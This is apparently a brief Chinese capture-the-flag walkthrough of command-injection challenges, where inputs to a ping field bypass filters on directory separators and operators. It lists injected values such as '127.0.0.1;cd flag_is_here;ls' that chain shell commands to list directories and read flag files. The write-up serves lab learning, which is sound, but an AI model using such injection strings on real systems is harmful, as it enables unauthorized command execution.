過濾目錄分隔符
打開靶機
查看頁面信息
查詢當前目錄下文件結構
進入flag_is_here目錄
127.0.0.1;cd flag_is_here
127.0.0.1||ls
執行之后發現還是在當前目錄
使用如下命令進行查詢
127.0.0.1;cd flag_is_here;ls
查看文件信息
127.0.0.1;cd flag_is_here;cat flag_1633660217512.php
成功拿到flag
過濾運算符
查看文件結構
;ls
查看文件信息
;cat flag_46031110028241.php
成功拿到flag